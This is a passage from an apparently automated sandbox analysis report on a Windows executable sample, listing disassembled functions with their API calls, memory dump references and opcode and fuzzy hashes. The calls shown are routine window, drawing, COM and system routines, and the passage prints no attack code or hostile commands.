                                                          • GetPrivateProfileSectionW.KERNEL32(?,00000001,00000003,?), ref: 0055E648
                                                          • WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 0055E687
                                                          • WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 0055E6AC
                                                          • WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 0055E6B4
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: PrivateProfile$SectionWrite$String
                                                          • String ID:
                                                          • API String ID: 2832842796-0
                                                          • Opcode ID: 1f1c4af4b98c92210273f33960a814a9d2a572648f3040c94cdd1bacf685ce75
                                                          • Instruction ID: 651e34bbb6cddf312a374f225a9ce91a7a588b611e642bddbdc06248d4f1a0eb
                                                          • Opcode Fuzzy Hash: 1f1c4af4b98c92210273f33960a814a9d2a572648f3040c94cdd1bacf685ce75
                                                          • Instruction Fuzzy Hash: B4517A35A00109DFCB00EF65C885AAEBBF5FF09354B1480AAE909AB362CB35ED44DF50
                                                          Function 0057A056 Relevance: 7.6, APIs: 5, Instructions: 130COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 5b2def4f95bcdcfb543754a759799be1b832301af00641e83258f15bb44e272b
                                                          • Instruction ID: 8c097a1317aa21078b6e866fae44b445eab2ba2b19e6e096b918f8c4f066c3fb
                                                          • Opcode Fuzzy Hash: 5b2def4f95bcdcfb543754a759799be1b832301af00641e83258f15bb44e272b
                                                          • Instruction Fuzzy Hash: B941BE35904104AFE724DB28EC48FAEBFA4FB89310F548665F81EA72E1D730AD45FA51
                                                          Function 005463AA Relevance: 7.6, APIs: 5, Instructions: 97windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 005463E7
                                                          • TranslateAcceleratorW.USER32(?,?,?), ref: 00546433
                                                          • TranslateMessage.USER32(?), ref: 0054645C
                                                          • DispatchMessageW.USER32(?), ref: 00546466
                                                          • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00546475
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Message$PeekTranslate$AcceleratorDispatch
                                                          • String ID:
                                                          • API String ID: 2108273632-0
                                                          • Opcode ID: 6c3b987fe116b806130fe96f682d4711a26b76bd39ae27447c69d38a5a529433
                                                          • Instruction ID: edfe070e49bf5326912ebcb30907005eaa21e5132ea7d31dc51f391e33f1e17b
                                                          • Opcode Fuzzy Hash: 6c3b987fe116b806130fe96f682d4711a26b76bd39ae27447c69d38a5a529433
                                                          • Instruction Fuzzy Hash: A531CB716006469FDF64CF74DC84BF67FACBB12348F140665E415C3161E725A88DE762
                                                          Function 00548A1F Relevance: 7.6, APIs: 5, Instructions: 89sleepwindowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetWindowRect.USER32(?,?), ref: 00548A30
                                                          • PostMessageW.USER32(?,00000201,00000001), ref: 00548ADA
                                                          • Sleep.KERNEL32(00000000,?,00000201,00000001,?,?,?), ref: 00548AE2
                                                          • PostMessageW.USER32(?,00000202,00000000), ref: 00548AF0
                                                          • Sleep.KERNEL32(00000000,?,00000202,00000000,?,?,00000201,00000001,?,?,?), ref: 00548AF8
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: MessagePostSleep$RectWindow
                                                          • String ID:
                                                          • API String ID: 3382505437-0
                                                          • Opcode ID: e33f0824e0131bf27f552973285ace302f1279d1f3badc7d849cb20fef159418
                                                          • Instruction ID: 545041586122757906d87fdcf5e9b867d789686e1459695316911859c4cadce0
                                                          • Opcode Fuzzy Hash: e33f0824e0131bf27f552973285ace302f1279d1f3badc7d849cb20fef159418
                                                          • Instruction Fuzzy Hash: D531B171500219EFDB14CF69D94CAEE3BB5FB14329F104629F925EA1D0C7B09954EB90
                                                          Function 0057B14B Relevance: 7.6, APIs: 5, Instructions: 85COMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 004F2612: GetWindowLongW.USER32(?,000000EB), ref: 004F2623
                                                          • GetWindowLongW.USER32(?,000000F0), ref: 0057B192
                                                          • SetWindowLongW.USER32(00000000,000000F0,00000001), ref: 0057B1B7
                                                          • SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 0057B1CF
                                                          • GetSystemMetrics.USER32(00000004), ref: 0057B1F8
                                                          • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000047,?,?,?,?,?,?,?,00560E90,00000000), ref: 0057B216
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Window$Long$MetricsSystem
                                                          • String ID:
                                                          • API String ID: 2294984445-0
                                                          • Opcode ID: 1a12fd9a01c678fb4bce9fdc12184eaaaf7cdf227606745940068279567508b6
                                                          • Instruction ID: 6933b04540d5f4dad5f22c5d4833d3262c7b804ca2b9089a17a0831f12e185f7
                                                          • Opcode Fuzzy Hash: 1a12fd9a01c678fb4bce9fdc12184eaaaf7cdf227606745940068279567508b6
                                                          • Instruction Fuzzy Hash: 5E219471610665AFDB149F39EC14B6A3BA4FB15361F218728F93AD71E0E7309850FB90
                                                          Function 00512C88 Relevance: 7.6, APIs: 5, Instructions: 74COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • DecodePointer.KERNEL32(?,00000000,00000000,?,?,00512C65,0052B5BA,005A9ED0), ref: 00512C9B
                                                          • DecodePointer.KERNEL32(?,?,00512C65,0052B5BA,005A9ED0), ref: 00512CA6
                                                          • EncodePointer.KERNEL32(00000000,?,?,00512C65,0052B5BA,005A9ED0), ref: 00512D0D
                                                          • EncodePointer.KERNEL32(0052B5BA,?,?,00512C65,0052B5BA,005A9ED0), ref: 00512D1B
                                                          • EncodePointer.KERNEL32(00000004,?,?,00512C65,0052B5BA,005A9ED0), ref: 00512D27
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Pointer$Encode$Decode
                                                          • String ID:
                                                          • API String ID: 1898114064-0
                                                          • Opcode ID: 3fecf991bc9679fdcbafdcc7db241e5f1b717fe6dff4decfe896536192c712b0
                                                          • Instruction ID: 145afdbc7bbe56b4f1e332252373c5f00e03a7fef9350bfefffa466903d07df2
                                                          • Opcode Fuzzy Hash: 3fecf991bc9679fdcbafdcc7db241e5f1b717fe6dff4decfe896536192c712b0
                                                          • Instruction Fuzzy Hash: 1D11A275600615AFBB18DF28EC849E9BFE9FB14350B504936E805D3211FB31EC959B90
                                                          Function 00565A4D Relevance: 7.6, APIs: 5, Instructions: 70COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • IsWindow.USER32(00000000), ref: 00565A6E
                                                          • GetForegroundWindow.USER32 ref: 00565A85
                                                          • GetDC.USER32(00000000), ref: 00565AC1
                                                          • GetPixel.GDI32(00000000,?,00000003), ref: 00565ACD
                                                          • ReleaseDC.USER32(00000000,00000003), ref: 00565B08
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Window$ForegroundPixelRelease
                                                          • String ID:
                                                          • API String ID: 4156661090-0
                                                          • Opcode ID: b10965204b51d7c5aa0b5648de5cbdf600c3e1c3ff7b64873a5e9c7697f20219
                                                          • Instruction ID: 3d32860461baaff24c4f866db1db7cb33ab8fbca3ef2d69c3d6607c255e27bf5
                                                          • Opcode Fuzzy Hash: b10965204b51d7c5aa0b5648de5cbdf600c3e1c3ff7b64873a5e9c7697f20219
                                                          • Instruction Fuzzy Hash: F221A135A00104AFD704EFA5DC88AAABBE5FF58311F148479F80AD7362DA30AD44DB90
                                                          Function 004F12F3 Relevance: 7.6, APIs: 5, Instructions: 67COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 004F134D
                                                          • SelectObject.GDI32(?,00000000), ref: 004F135C
                                                          • BeginPath.GDI32(?), ref: 004F1373
                                                          • SelectObject.GDI32(?,00000000), ref: 004F139C
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: ObjectSelect$BeginCreatePath
                                                          • String ID:
                                                          • API String ID: 3225163088-0
                                                          • Opcode ID: 5a0f8a796f43dfd34de37f78ea946a66678decedde0d3aff03ac05b84c5a4ecf
                                                          • Instruction ID: b0dd870cea5155d8163222e54ba52d98bd24b72e7e5a31fb073c77905ef5c9a7
                                                          • Opcode Fuzzy Hash: 5a0f8a796f43dfd34de37f78ea946a66678decedde0d3aff03ac05b84c5a4ecf
                                                          • Instruction Fuzzy Hash: DF217431800608DFEB559F25EC0876A7BE8FB20321F24431BF915A62B0E375A899FF55
                                                          Function 00548202 Relevance: 7.5, APIs: 5, Instructions: 49memoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 0054821E
                                                          • GetLastError.KERNEL32(?,00547CE2,?,?,?), ref: 00548228
                                                          • GetProcessHeap.KERNEL32(00000008,?,?,00547CE2,?,?,?), ref: 00548237
                                                          • HeapAlloc.KERNEL32(00000000,?,00547CE2,?,?,?), ref: 0054823E
                                                          • GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00548255
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: HeapObjectSecurityUser$AllocErrorLastProcess
                                                          • String ID:
                                                          • API String ID: 842720411-0
                                                          • Opcode ID: 3b0252e5150005329c0951e4fb5fb15a3ac1eef077778ae8752a3c3dbd5eef53
                                                          • Instruction ID: 7e9052b8d987735aa325b6f894a150215b4207cb027a9a2352277dca93132e3b
                                                          • Opcode Fuzzy Hash: 3b0252e5150005329c0951e4fb5fb15a3ac1eef077778ae8752a3c3dbd5eef53
                                                          • Instruction Fuzzy Hash: 9D014B75208204AFDB208FA5EC48DBB7FADFF9A754B500429F809D3220DA718C44EB60
                                                          Function 0054710A Relevance: 7.5, APIs: 5, Instructions: 48stringCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00547044,80070057,?,?,?,00547455), ref: 00547127
                                                          • ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00547044,80070057,?,?), ref: 00547142
                                                          • lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00547044,80070057,?,?), ref: 00547150
                                                          • CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00547044,80070057,?), ref: 00547160
                                                          • CLSIDFromString.OLE32(?,?,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00547044,80070057,?,?), ref: 0054716C
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: From$Prog$FreeStringTasklstrcmpi
                                                          • String ID:
                                                          • API String ID: 3897988419-0
                                                          • Opcode ID: 0c228b301ac368cd5780fabee78c69f8e07ea1b14e5a00366ac4b2bc9ee013e7
                                                          • Instruction ID: c0e73acd14c84aef6946b835b77ac2ce5246fee5e681955203ee59b9e24dd4ea
                                                          • Opcode Fuzzy Hash: 0c228b301ac368cd5780fabee78c69f8e07ea1b14e5a00366ac4b2bc9ee013e7
                                                          • Instruction Fuzzy Hash: F2017C72605208ABDB118F64EC44AAE7FADFF48795F1410A4FD09D2220D731DD80EBA0
                                                          Function 00555244 Relevance: 7.5, APIs: 5, Instructions: 48sleepCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • QueryPerformanceCounter.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00555260
                                                          • QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 0055526E
                                                          • Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 00555276
                                                          • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 00555280
                                                          • Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 005552BC
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: PerformanceQuery$CounterSleep$Frequency
                                                          • String ID:
                                                          • API String ID: 2833360925-0
                                                          • Opcode ID: 63fa7a072b577a6791ecba47807f73888130a1ee8931583b1d5fb4e594b2d625
                                                          • Instruction ID: 6c557c20ff73e3e67881d19c28c24a6408c2933eb5f0a1b455d4428672368631
                                                          • Opcode Fuzzy Hash: 63fa7a072b577a6791ecba47807f73888130a1ee8931583b1d5fb4e594b2d625
                                                          • Instruction Fuzzy Hash: F8015735D01A29DBCF00EFE4E868AEDBB78BF19322F400456E945F2141DB305598EBA1
                                                          Function 0054810A Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00548121
                                                          • GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 0054812B
                                                          • GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 0054813A
                                                          • HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00548141
                                                          • GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00548157
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: HeapInformationToken$AllocErrorLastProcess
                                                          • String ID:
                                                          • API String ID: 44706859-0
                                                          • Opcode ID: 5ec1602de11917741e0b855dcf6f917bd908815564a29df96b020a273218645e
                                                          • Instruction ID: ea8497fae8f317bbf71295ed625d232e0103a8a175d4dd81db2929f621cb62c8
                                                          • Opcode Fuzzy Hash: 5ec1602de11917741e0b855dcf6f917bd908815564a29df96b020a273218645e
                                                          • Instruction Fuzzy Hash: 13F04F71200304AFEB114FA5EC88FBB3FACFF49758F000026F949D7150CA619985EB60
                                                          Function 0054C1E3 Relevance: 7.5, APIs: 5, Instructions: 41windowtimeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetDlgItem.USER32(?,000003E9), ref: 0054C1F7
                                                          • GetWindowTextW.USER32(00000000,?,00000100), ref: 0054C20E
                                                          • MessageBeep.USER32(00000000), ref: 0054C226
                                                          • KillTimer.USER32(?,0000040A), ref: 0054C242
                                                          • EndDialog.USER32(?,00000001), ref: 0054C25C
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: BeepDialogItemKillMessageTextTimerWindow
                                                          • String ID:
                                                          • API String ID: 3741023627-0
                                                          • Opcode ID: 1ca28b1051c90043b693ce4e823f0bae354c1977f147229faa47df923c5d934a
                                                          • Instruction ID: eec43cc7bb118946dcd807b527ca0ec9356223022916dcc6b50e3f156a999ba8
                                                          • Opcode Fuzzy Hash: 1ca28b1051c90043b693ce4e823f0bae354c1977f147229faa47df923c5d934a
                                                          • Instruction Fuzzy Hash: 7A01DB3450430497EB649B50ED4EFE67F78FF10B09F000669F586914E0D7F46988AB50
                                                          Function 004F13B0 Relevance: 7.5, APIs: 5, Instructions: 29COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • EndPath.GDI32(?), ref: 004F13BF
                                                          • StrokeAndFillPath.GDI32(?,?,0052B888,00000000,?), ref: 004F13DB
                                                          • SelectObject.GDI32(?,00000000), ref: 004F13EE
                                                          • DeleteObject.GDI32 ref: 004F1401
                                                          • StrokePath.GDI32(?), ref: 004F141C
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Path$ObjectStroke$DeleteFillSelect
                                                          • String ID:
                                                          • API String ID: 2625713937-0
                                                          • Opcode ID: fdd9e1fc70e487eabf8713224fc626f3587904d1f6195fd824d2531cf0bfaa71
                                                          • Instruction ID: 6daea42139d94d9414bc6bfc718e0eee2496b1eac43975c25d744d790595e25c
                                                          • Opcode Fuzzy Hash: fdd9e1fc70e487eabf8713224fc626f3587904d1f6195fd824d2531cf0bfaa71
                                                          • Instruction Fuzzy Hash: 3EF01D30004608DBDB569F26EC4C7693BA4A720326F188325F52E981F1D734559DFF14
                                                          Function 0055B93B Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 261comCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 004F4750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,004F4743,?,?,004F37AE,?), ref: 004F4770
                                                          • CoInitialize.OLE32(00000000), ref: 0055B9BB
                                                          • CoCreateInstance.OLE32(00582D6C,00000000,00000001,00582BDC,?), ref: 0055B9D4
                                                          • CoUninitialize.OLE32 ref: 0055B9F1
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: CreateFullInitializeInstanceNamePathUninitialize
                                                          • String ID: .lnk
                                                          • API String ID: 3769357847-24824748
                                                          • Opcode ID: b67a930ba46faab43459c79f21a0885f9d06455211a2e006c068f1533d6e2bff
                                                          • Instruction ID: 2deac14292b58b1630412a53faff3905bdab2b9e9af8141331eeddc2584f4536
                                                          • Opcode Fuzzy Hash: b67a930ba46faab43459c79f21a0885f9d06455211a2e006c068f1533d6e2bff
                                                          • Instruction Fuzzy Hash: B4A157746043059FDB00EF15C494E2ABBE5FF89324F04894AF9999B3A1CB31ED49CB91
                                                          Function 0054B2F3 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 241comCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • OleSetContainedObject.OLE32(?,00000001), ref: 0054B4BE
                                                          Strings
